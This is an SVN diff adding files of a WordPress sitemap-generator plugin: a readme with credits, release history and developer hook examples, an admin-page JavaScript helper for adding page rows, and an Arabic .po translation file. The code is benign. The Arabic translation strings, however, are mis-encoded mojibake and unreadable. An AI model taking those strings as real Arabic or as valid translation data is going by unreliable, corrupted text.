+ Bug Report             Joseph Abboud
+ Bug Report             Mike                http://baptiste.us/
+ Bug Report             Peter               http://fastagent.de/
+ Bug Report             Glenn               http://publicityship.com.au/
+ Bug Report             froosh
+ File Handling          VJTD3               http://www.vjtd3.com/
+ 
+ Thanks to all contributors and bug reporters! There were much more people involved 
+ in testing this plugin and reporting bugs, either by email or in the WordPress forums.
+ 
+ Unfortunately I can't maintain a whole list here, but thanks again to everybody not listed here!
+ 
+ 
+ Release History:
+ ==============================================================================
+ 2005-06-05     1.0     First release
+ 2005-06-05     1.1     Added archive support
+ 2005-06-05     1.2     Added category support
+ 2005-06-05     2.0a    Beta: Real Plugin! Static file generation, Admin UI
+ 2005-06-05     2.0     Various fixes, more help, more comments, configurable filename
+ 2005-06-07     2.01    Fixed 2 Bugs: 147 is now _e(strval($i)); instead of _e($i); 344 uses a full < ?php instead of < ?
+                        Thanks to Christian Aust for reporting this :)
+ 2005-06-07     2.1     Correct usage of last modification date for cats and archives  (thx to Rodney Shupe (http://www.shupe.ca/))
+                        Added support for .gz generation
+                        Fixed bug which ignored different post/page priorities
+                        Should support now different wordpress/admin directories
+ 2005-06-07     2.11    Fixed bug with hardcoded table table names instead of the $wpd vars
+ 2005-06-07     2.12    Changed SQL Statement of the categories to get it work on MySQL 3 
+ 2005-06-08     2.2     Added language file support:
+                        - Japanese Language Files and code modifications by hiromasa (http://hiromasa.zone.ne.jp/)
+                        - German Language File by Arne Brachhold (http://www.arnebrachhold.de)
+ 2005-06-14     2.5     Added support for external pages
+                        Added support for Google Ping
+                        Added the minimum Post Priority option
+                        Added Spanish Language File by César Gómez Martín (http://www.cesargomez.org/)
+                        Added Italian Language File by Stefano Aglietti (http://wordpress-it.it/)
+                        Added Traditional Chine Language File by Kirin Lin (http://kirin-lin.idv.tw/)
+ 2005-07-03     2.6     Added support to store the files at a custom location
+                        Changed the home URL to have a slash at the end
+                        Required admin-functions.php so the script will work with external calls, wp-mail for example
+                        Added support for other plugins to add content to the sitemap via add_filter()
+ 2005-07-20     2.7     Fixed wrong date format in additional pages
+                        Added Simplified Chinese Language Files by june6 (http://www.june6.cn/)
+                        Added Swedish Language File by Tobias Bergius (http://tobiasbergius.se/)
+ 2006-01-07     3.0b    Added different priority calculation modes and introduced an API to create custom ones
+                        Added support to use the Popularity Contest plugin by Alex King to calculate post priority
+                        Added Button to restore default configuration
+                        Added several links to homepage and support
+                        Added option to exclude password protected posts
+                        Added function to start sitemap creation via GET and a secret key
+                        Posts and pages marked for publish with a date in the future won't be included
+                        Improved compatiblity with other plugins
+                        Improved speed and optimized settings handling
+                        Improved user-interface
+                        Recoded plugin architecture which is now fully OOP
+ 2006-01-07     3.0b1   Changed the way for hook support to be PHP5 and PHP4 compatible
+                        Readded support for tools like w.Bloggar
+                        Fixed "doubled-content" bug with WP2
+                        Added xmlns to enable validation
+ 2006-03-01     3.0b3   More performance
+                        More caching
+                        Better support for Popularity Contest and WP 2.x
+ 2006-11-16     3.0b4   Fixed bug with option SELECTS
+                        Decreased memory usage which should solve timeout and memory problems
+                        Updated namespace to support YAHOO and MSN
+ 2007-01-19     3.0b5   Javascripted page editor
+                        WP 2 Design
+                        YAHOO notification
+                        New status report, removed ugly logfiles
+                        Better Popularity Contest Support
+                        Fixed double backslashes on windows systems
+                        Added option to specify time limit and memory limit
+                        Added option to define a XSLT stylesheet and added a default one
+                        Fixed bug with sub-pages. Thanks to:
+                        - Mike Baptiste (http://baptiste.us),
+                        - Peter Claus Lamprecht (http://fastagent.de)
+                        - Glenn Nicholas (http://publicityship.com.au)
+                        Improved file handling, thanks to VJTD3 (http://www.VJTD3.com)
+                        WP 2.1 improvements
+ 2007-01-23     3.0b6   Use memory_get_peak_usage instead of memory_get_usage if available
+                        Removed the usage of REQUEST_URI since it not correct in all environments
+                        Fixed that sitemap.xml.gz was not compressed
+                        Added compat function "stripos" for PHP4 (Thanks to Joseph Abboud!)
+                        Streamlined some code
+ 2007-05-17     3.0b7   Added option to include the author pages like /author/john
+                        Small enhancements, removed stripos dependency and the added compat function
+                        Added check to not build the sitemap if importing posts
+                        Fixed missing domain parameter for translator name
+                        Fixed WP 2.1 / Pre 2.1 post / pages database changes
+                        Fixed wrong XSLT location (Thanks froosh)
+                        Added Ask.com notification
+                        Removed unused javascript
+ 2007-07-22     3.0b8   Changed category SQL to prevent unused cats from beeing included
+                        Plugin will be loaded on "init" instead of direclty after the file has been loaded.
+                        Added support for robots.txt modification
+                        Switched YAHOO ping API from YAHOO Web Services to the "normal" ping service which doesn't require an app id
+                        Search engines will only be pinged if the sitemap file has changed
+ 2007-09-02     3.0b9   Added tag support for WordPress 2.3
+                        Now using post_date_gmt instead of post_date everywhere
+                        Fixed archive bug with static pages (Thanks to Peter Claus Lamprecht)
+                        Fixed some missing translation domains, thanks to Kirin Lin!
+                        Added Czech translation files for 2.7.1, thanks to Peter Kahoun (http://kahi.cz)
+ 2007-09-04     3.0b10  Added category support for WordPress 2.3
+                        Fixed bug with empty URLs in sitemap
+                        Repaired GET building
+                        Added more info on debug mode
+ 2007-09-23     3.0b11  Changed mysql queries to unbuffered queries
+                        Uses MUCH less memory
+                        Fixed really stupid bug with search engine pings
+                        Option to set how many posts will be included
+ 2007-09-24     3.0     Yeah, 3.0 Final after one and a half year ;)
+                        Removed useless functions
+ 2007-11-03     3.0.1   Using the Snoopy HTTP client for ping requests instead of wp_remote_fopen
+                        Fixed undefined translation strings
+                        Added "safemode" for SQL which doesn't use unbuffered results (old style)
+                        Added option to run the building process in background using wp-cron
+                        Removed unnecessary function_exists, Thanks to user00265
+                        Added links to test the ping if it failed.
+ 2007-11-25     3.0.2   Fixed bug which caused that some settings were not saved correctly
+                        Added option to exclude pages or post by ID
+                        Restored YAHOO ping service with API key since the other one is to unreliable. (see 3.0b8)
+ 2007-11-28     3.0.2.1 Fixed wrong XML Schema Location (Thanks to Emanuele Tessore)
+                        Added Russian Language files by Sergey http://ryvkin.ru
+ 2007-12-30     3.0.3   Added Live Search Ping
+                        Removed some hooks which rebuilt the sitemap with every comment
+ 2008-03-30     3.0.3.1 Added compatibility CSS for WP 2.5
+ 2008-04-28     3.0.3.2 Improved WP 2.5 handling
+ 2008-04-29     3.0.3.3 Fixed author pages
+                        Enhanced background building and increased delay to 15 seconds
+                        Background building is enabled by default
+ 2008-04-28     3.1b1   Reorganized files in builder, loader and UI
+                        Added 2 step loader so only code that's needed will be loaded
+                        Improved WP 2.5 handling
+                        Secured all admin actions with nonces
+ 2008-05-18     3.1b2   Fixed critical bug with the build in background option
+                        Added notification if a build is scheduled
+ 2008-05-19     3.1b3   Cleaned up plugin directory and moved asset files to subfolders
+                        Fixed background building bug in WP 2.1
+                        Removed auto-update plugin link for WP < 2.5
+ 2008-05-22     3.1     Marked as 3.1 stable, updated documentation
+ 2008-05-27     3.1.0.1 Extracted UI JS to external file
+                        Enabled the option to include following pages of multi-page posts
+                        Script tries to raise memory and time limit if active
+ 2008-12-21     3.1.1   Fixed redirect issue if wp-admin is rewritten via mod_rewrite, thanks to macjoost
+                        Fixed wrong path to assets, thanks PozHonks
+                        Fixed wrong plugin URL if wp-content was renamed / redirected, thanks to wnorris
+                        Updated WP User Interface for 2.7
+                        Various other small things
+ 2008-12-26     3.1.2   Changed the way the stylesheet is saved (default / custom stylesheet)
+                        Sitemap is now build when page is published
+                        Removed support for static robots.txt files, this is now handled via WordPress
+                        Added compat. exceptions for WP 2.0 and WP 2.1
+ 2009-06-07     3.1.3   Changed MSN Live Search to Bing
+                        Exclude categories also now exludes the category itself and not only the posts
+                        Pings now use the new WordPress HTTP API instead of Snoopy
+                        Fixed bug that in localized WP installations priorities could not be saved.
+                        The sitemap cron job is now cleared after a manual rebuild or after changing the config
+                        Adjusted style of admin area for WP 2.8 and refreshed icons
+                        Disabled the "Exclude categories" feature for WP 2.5.1, since it doesn't have the required functions yet
+ 2009-06-22     3.1.4   Fixed bug which broke all pings in WP < 2.7
+                        Added more output in debug mode if pings fail
+                        Moved global post definitions for other plugins
+                        Added small icon for ozh admin menu
+                        Added more help links in UI
+
+ 2009-08-24     3.1.5   Added option to completely disable the last modification time
+                        Fixed bug regarding the use of the HTTPS url for the XSL stylesheet if the sitemap was build via the admin panel
+                        Improved handling of homepage if a single page was set for it
+                        Fixed mktime warning which appeared sometimes
+                        Fixed bug which caused inf. reloads after rebuilding the sitemap via the admin panel
+                        Improved handling of missing sitemaps files if WP was moved to another location
+ 2009-08-31     3.1.6   Fixed PHP error "Only variables can be passed by reference"
+                        Fixed wrong URLS of multi-page posts (Thanks artstorm!)
+
+
+ Maybe Todo:
+ ==============================================================================
+ - Your wishes :)
+ 
+ 
+ License:
+ ==============================================================================
+ Copyright 2005 - 2009 ARNE BRACHHOLD  (email : himself - arnebrachhold - de)
+
+ This program is free software; you can redistribute it and/or modify
+ it under the terms of the GNU General Public License as published by
+ the Free Software Foundation; either version 2 of the License, or
+ (at your option) any later version.
+ 
+ This program is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ GNU General Public License for more details.
+
+ You should have received a copy of the GNU General Public License
+ along with this program; if not, write to the Free Software
+ Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
+ 
+ 
+ Developer Documentation
+ ==============================================================================
+ 
+ Adding other pages to the sitemap via other plugins
+ 
+  This plugin uses the action system of WordPress to allow other plugins
+  to add urls to the sitemap. Simply add your function with add_action to
+  the list and the plugin will execute yours every time the sitemap is build.
+  Use the static method "GetInstance" to get the generator and AddUrl method 
+  to add your content.
+  
+  Sample:
+  function your_pages() {
+	$generatorObject = &GoogleSitemapGenerator::GetInstance(); //Please note the "&" sign!
+	if($generatorObject!=null) $generatorObject->AddUrl("http://blog.uri/tags/hello/",time(),"daily",0.5);
+  }
+  add_action("sm_buildmap","your_pages");
+  
+  Parameters:
+  - The URL to the page
+  - The last modified data, as a UNIX timestamp (optional)
+  - The Change Frequency (daily, hourly, weekly and so on) (optional)
+  - The priority 0.0 to 1.0 (optional)
+ 
+ ===============================================
+ 
+ Adding additional PriorityProviders
+ 
+  This plugin uses several classes to calculate the post priority.
+  You can register your own provider and choose it at the options screen.
+  
+  Your class has to extend the GoogleSitemapGeneratorPrioProviderBase class
+  which has a default constructor and a method called GetPostPriority
+  which you can override.
+  
+  Look at the GoogleSitemapGeneratorPrioByPopularityContestProvider class
+  for an example.
+  
+  To register your provider to the sitemap generator, use the following filter:
+  
+  add_filter("sm_add_prio_provider","AddMyProvider");
+  
+  Your function could look like this:
+  
+  function AddMyProvider($providers) {
+	array_push($providers,"MyProviderClass");
+	return $providers;
+  }
+  
+  Note that you have to return the modified list!  
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/google-sitemap-generator/img/sitemap.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/google-sitemap-generator/img/sitemap.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/google-sitemap-generator/img/sitemap.js	(revision 44)
@@ -0,0 +1,109 @@
+/*
+ 
+ $Id: sitemap.js 48032 2008-05-27 14:32:06Z arnee $
+
+*/
+
+function sm_addPage(url,priority,changeFreq,lastChanged) {
+
+	var table = document.getElementById('sm_pageTable').getElementsByTagName('TBODY')[0];
+	var ce = function(ele) { return document.createElement(ele) };
+	var tr = ce('TR');
+												
+	var td = ce('TD');
+	var iUrl = ce('INPUT');
+	iUrl.type="text";
+	iUrl.style.width='95%';
+	iUrl.name="sm_pages_ur[]";
+	if(url) iUrl.value=url;
+	td.appendChild(iUrl);
+	tr.appendChild(td);
+	
+	td = ce('TD');
+	td.style.width='150px';
+	var iPrio = ce('SELECT');
+	iPrio.style.width='95%';
+	iPrio.name="sm_pages_pr[]";
+	for(var i=0; i <priorities.length; i++) {
+		var op = ce('OPTION');
+		op.text = priorities[i];		
+		op.value = priorities[i];
+		try {
+			iPrio.add(op, null); // standards compliant; doesn't work in IE
+		} catch(ex) {
+			iPrio.add(op); // IE only
+		}
+		if(priority && priority == op.value) {
+			iPrio.selectedIndex = i;
+		}
+	}
+	td.appendChild(iPrio);
+	tr.appendChild(td);
+	
+	td = ce('TD');
+	td.style.width='150px';
+	var iFreq = ce('SELECT');
+	iFreq.name="sm_pages_cf[]";
+	iFreq.style.width='95%';
+	for(var i=0; i<changeFreqVals.length; i++) {
+		var op = ce('OPTION');
+		op.text = changeFreqNames[i];		
+		op.value = changeFreqVals[i];
+		try {
+			iFreq.add(op, null); // standards compliant; doesn't work in IE
+		} catch(ex) {
+			iFreq.add(op); // IE only
+		}
+		
+		if(changeFreq && changeFreq == op.value) {
+			iFreq.selectedIndex = i;
+		}
+	}
+	td.appendChild(iFreq);
+	tr.appendChild(td);
+	
+	var td = ce('TD');
+	td.style.width='150px';
+	var iChanged = ce('INPUT');
+	iChanged.type="text";
+	iChanged.name="sm_pages_lm[]";
+	iChanged.style.width='95%';
+	if(lastChanged) iChanged.value=lastChanged;
+	td.appendChild(iChanged);
+	tr.appendChild(td);
+	
+	var td = ce('TD');
+	td.style.textAlign="center";
+	td.style.width='5px';
+	var iAction = ce('A');
+	iAction.innerHTML = 'X';
+	iAction.href="javascript:void(0);"
+	iAction.onclick = function() { table.removeChild(tr); };
+	td.appendChild(iAction);
+	tr.appendChild(td);
+	
+	var mark = ce('INPUT');
+	mark.type="hidden";
+	mark.name="sm_pages_mark[]";
+	mark.value="true";
+	tr.appendChild(mark);
+	
+	
+	var firstRow = table.getElementsByTagName('TR')[1];
+	if(firstRow) {
+		var firstCol = (firstRow.childNodes[1]?firstRow.childNodes[1]:firstRow.childNodes[0]);
+		if(firstCol.colSpan>1) {
+			firstRow.parentNode.removeChild(firstRow);
+		}
+	}
+	var cnt = table.getElementsByTagName('TR').length;
+	if(cnt%2) tr.className="alternate";
+	
+	table.appendChild(tr);										
+}
+
+function sm_loadPages() {
+	for(var i=0; i<pages.length; i++) {
+		sm_addPage(pages[i].url,pages[i].priority,pages[i].changeFreq,pages[i].lastChanged);
+	}
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/google-sitemap-generator/lang/sitemap-ar_AR.po
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/google-sitemap-generator/lang/sitemap-ar_AR.po	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/google-sitemap-generator/lang/sitemap-ar_AR.po	(revision 44)
@@ -0,0 +1,1171 @@
+# Copyright (C) 2005 Sewar : www.sewar.be
+# This file is distributed under the same license as the WordPress package.
+# Sewar <www.sewar.be/contact.php>, 2005.
+# $Id: sitemap.pot 2327 2005-06-19 03:09:59 RedAltExport $
+msgid ""
+msgstr ""
+"Project-Id-Version: Sitemap v2.7.1 for WP\n"
+"Report-Msgid-Bugs-To: \n"
+"POT-Creation-Date: 2009-06-07 01:15+0100\n"
+"PO-Revision-Date: 2009-07-15 03:12+0200\n"
+"Last-Translator: Hazem Khaled <hazem.khaled@gmail.com>\n"
+"Language-Team: Sewar <www.sewar.be/contact.php>\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"X-Poedit-Language: Arabic\n"
+"X-Poedit-Country: ARABIAN WORLD\n"
+"X-Poedit-SourceCharset: utf-8\n"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:846
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-core.php:642
+msgid "Comment Count"
+msgstr "Ø¹Ø¯Ø¯ Ø§ÙØªØ¹ÙÙÙØ§Øª"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:858
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-core.php:654
+msgid "Uses the number of comments of the post to calculate the priority"
+msgstr "Ø£Ø³ØªØ®Ø¯Ù
+ Ø¹Ø¯Ø¯ Ø§ÙØªØ¹ÙÙÙØ§Øª ÙØ­Ø³Ø§Øš Ø§ÙØ£ÙÙÙÙØ©"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:918
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-core.php:714
+msgid "Comment Average"
+msgstr "Ù
+ØªÙØ³Ø· Ø§ÙØªØ¹ÙÙÙØ§Øª"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:930
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-core.php:726
+msgid "Uses the average comment count to calculate the priority"
+msgstr "Ø£Ø³ØªØ®Ø¯Ù
+ Ù
+ØªÙØ³Ø· Ø§ÙØªØ¹ÙÙÙØ§Øª ÙØ­Ø³Ø§Øš Ø§ÙØ£ÙÙÙÙØ©"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:993
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-core.php:789
+msgid "Popularity Contest"
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:1005
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-core.php:801
+msgid "Uses the activated <a href=\"%1\">Popularity Contest Plugin</a> from <a href=\"%2\">Alex King</a>. See <a href=\"%3\">Settings</a> and <a href=\"%4\">Most Popular Posts</a>"
+msgstr ""
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-core.php:1187
+msgid "Always"
+msgstr "Ø¯Ø§ØŠÙ
+Ø§Ù"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-core.php:1188
+msgid "Hourly"
+msgstr "ÙÙ Ø³Ø§Ø¹Ø©"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-core.php:1189
+msgid "Daily"
+msgstr "ÙÙÙ
+ÙØ§Ù"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-core.php:1190
+msgid "Weekly"
+msgstr "Ø§Ø³ØšÙØ¹ÙØ§Ù"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-core.php:1191
+msgid "Monthly"
+msgstr "ØŽÙØ±ÙØ§Ù"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-core.php:1192
+msgid "Yearly"
+msgstr "Ø³ÙÙÙØ§Ù"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-core.php:1193
+msgid "Never"
+msgstr "Ø£ØšØ¯Ø§Ù"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2600
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:102
+msgid "Thank you very much for your donation. You help me to continue support and development of this plugin and other free software!"
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2600
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:102
+msgid "Hide this notice"
+msgstr "Ø£Ø®ÙØ§Ø¡ ÙØ°Ø§ Ø§ÙØªØšÙÙØº"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2657
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:108
+#, php-format
+msgid "Thanks for using this plugin! You've installed this plugin over a month ago. If it works and your are satisfied with the results, isn't it worth at least one dollar? <a href=\"%s\">Donations</a> help me to continue support and development of this <i>free</i> software! <a href=\"%s\">Sure, no problem!</a>"
+msgstr "ØŽÙØ±Ø§Ù ï»·Ø³ØªØ®Ø¯Ø§Ù
+Ù ÙØ°Ù Ø§ÙØ£Ø¶Ø§ÙØ©! ÙÙØ¯ ÙÙ
+Øª ØšØªØ±ÙÙØš Ø§ÙØ¥Ø¶Ø§ÙØ© Ù
+Ù Ø§ÙØ«Ø± Ù
+Ù ØŽÙØ±. Ø¥Ø°Ø§ ÙÙØª Ø±Ø§Ø¶Ù Ø¹Ù Ø§ÙÙØªØ§ØŠØ¬, ÙÙ
+ÙÙÙ Ø§ÙØªØšØ±Ø¹ ØšØ¯ÙÙØ§Ø± ÙØ§Ø­Ø¯ Ø¹ÙÙ Ø§ÙØ£ÙÙØ <a href=\"%s\">Ø§ÙÙ
+ØªØšØ±Ø¹ÙÙ</a> Ø³Ø§Ø¹Ø¯ÙÙÙ ØšØ¯Ø¹Ù
+ ÙØªØ·ÙÙØ± ÙØ°Ù Ø§ÙØ£Ø¶Ø§ÙØ© <i>Ø§ÙÙ
+Ø¬Ø§ÙÙØ©</i>! <a href=\"%s\">Ø£ÙÙØ¯, ÙØ§ ÙÙØ¬Ø¯ Ù
+ØŽÙÙØ©!</a>"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2657
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:108
+msgid "No thanks, please don't bug me anymore!"
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap-ui.php:67
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:119
+msgid "Your sitemap is being refreshed at the moment. Depending on your blog size this might take some time!"
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap-ui.php:69
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:121
+#, php-format
+msgid "Your sitemap will be refreshed in %s seconds. Depending on your blog size this might take some time!"
+msgstr ""
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:146
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:453
+msgid "XML Sitemap Generator for WordPress"
+msgstr "ØµØ§ÙØ¹ Ø®Ø±ÙØ·Ø© Ø§ÙÙ
+ÙÙØ¹"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:298
+msgid "Configuration updated"
+msgstr "ØªÙ
+ ØªØ­Ø¯ÙØ« Ø§ÙØ¥Ø¹Ø¯Ø§Ø¯Ø§Øª"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:299
+msgid "Error while saving options"
+msgstr "Ø­Ø¯Ø« Ø®Ø·Ø£ Ø¹ÙØ¯ Ø­ÙØž Ø¥Ø¹Ø¯Ø§Ø¯Ø§Øª Ø§ÙØµÙØ­Ø§Øª"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:301
+msgid "Pages saved"
+msgstr "ØªÙ
+ Ø­ÙØž Ø¥Ø¹Ø¯Ø§Ø¯Ø§Øª Ø§ÙØµÙØ­Ø§Øª"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:302
+msgid "Error while saving pages"
+msgstr "Ø­Ø¯Ø« Ø®Ø·Ø£ Ø¹ÙØ¯ Ø­ÙØž Ø¥Ø¹Ø¯Ø§Ø¯Ø§Øª Ø§ÙØµÙØ­Ø§Øª"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2758
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:309
+msgid "The default configuration was restored."
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap-ui.php:374
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:466
+#, php-format
+msgid "There is a new version of %1$s available. <a href=\"%2$s\">Download version %3$s here</a>."
+msgstr "ÙÙØ§Ù Ø¥ØµØ¯Ø§Ø±Ø© Ø¬Ø¯ÙØ¯Ø© %1$s Ù
+ØªØ§Ø­Ø©. <a href=\"%2$s\">ØªØ­Ù
+ÙÙ Ø§ÙØ£ØµØ¯Ø§Ø±Ø© %3$s Ù
+Ù ÙÙØ§</a>."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap-ui.php:376
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:468
+#, php-format
+msgid "There is a new version of %1$s available. <a href=\"%2$s\">Download version %3$s here</a> <em>automatic upgrade unavailable for this plugin</em>."
+msgstr "ÙÙØ§Ù Ø¥ØµØ¯Ø§Ø±Ø© Ø¬Ø¯ÙØ¯Ø© %1$s Ù
+ØªØ§Ø­Ø©. <a href=\"%2$s\">ØªØ­Ù
+ÙÙ Ø§ÙØ£ØµØ¯Ø§Ø±Ø© %3$s Ù
+Ù ÙÙØ§</a>. <em>Ø§ÙØªØ­Ø¯ÙØ« Ø§ÙØªÙÙØ§ØŠÙ ØºÙØ± Ù
+ØªØ§Ø­ ÙÙ ÙØ°Ù Ø§ÙÙ
+Ø¯ÙÙØ©</em>."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap-ui.php:378
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:470
+#, php-format
+msgid "There is a new version of %1$s available. <a href=\"%2$s\">Download version %3$s here</a> or <a href=\"%4$s\">upgrade automatically</a>."
+msgstr "ÙÙØ§Ù Ø¥ØµØ¯Ø§Ø±Ø© Ø¬Ø¯ÙØ¯Ø© %1$s Ù
+ØªØ§Ø­Ø©. <a href=\"%2$s\">ØªØ­Ù
+ÙÙ Ø§ÙØ£ØµØ¯Ø§Ø±Ø© %3$s Ù
+Ù ÙÙØ§</a> Ø§Ù <a href=\"%4$s\">Ø­Ø¯Ø« ØªÙÙØ§ØŠÙØ§Ù</a>."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2851
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2868
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:493
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:510
+msgid "open"
+msgstr "ÙØªØ­"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2852
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2869
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:494
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:511
+msgid "close"
+msgstr "Ø£ØºÙØ§Ù"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2853
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2870
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:495
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:512
+msgid "click-down and drag to move this box"
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2854
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2871
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:496
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:513
+msgid "click to %toggle% this box"
+msgstr "Ø£Ø¶ØºØ· ÙÙÙ %toggle% ÙØ°Ø§ Ø§ÙÙ
+Ø±ØšØ¹"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2855
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2872
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:497
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:514
+msgid "use the arrow keys to move this box"
+msgstr "Ø£Ø³ØªØ®Ø¯Ù
+ Ø§ÙØ³ÙÙ
+ ÙØªØ­Ø±ÙÙ Ø§ÙÙ
+Ø±ØšØ¹Ø§Øª"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2856
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2873
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:498
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:515
+msgid ", or press the enter key to %toggle% it"
+msgstr ", Ø§Ù Ø£Ø¶ØºØ· Ø¹ÙÙ Ø§ÙØ²Ø± ÙÙ%toggle%"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2884
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:533
+msgid "About this Plugin:"
+msgstr "Ø¹Ù ÙØ°Ù Ø§ÙØ£Ø¶Ø§ÙØ©"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:534
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap.php:141
+msgid "Plugin Homepage"
+msgstr "Ø§ÙØµÙØ­Ø© Ø§ÙØ±ØŠÙØ³ÙØ©"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap-ui.php:421
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:535
+msgid "Suggest a Feature"
+msgstr "Ø±ØŽØ­ Ø®Ø§ØµÙØ© Ø¬Ø¯ÙØ¯Ø©"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2887
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:536
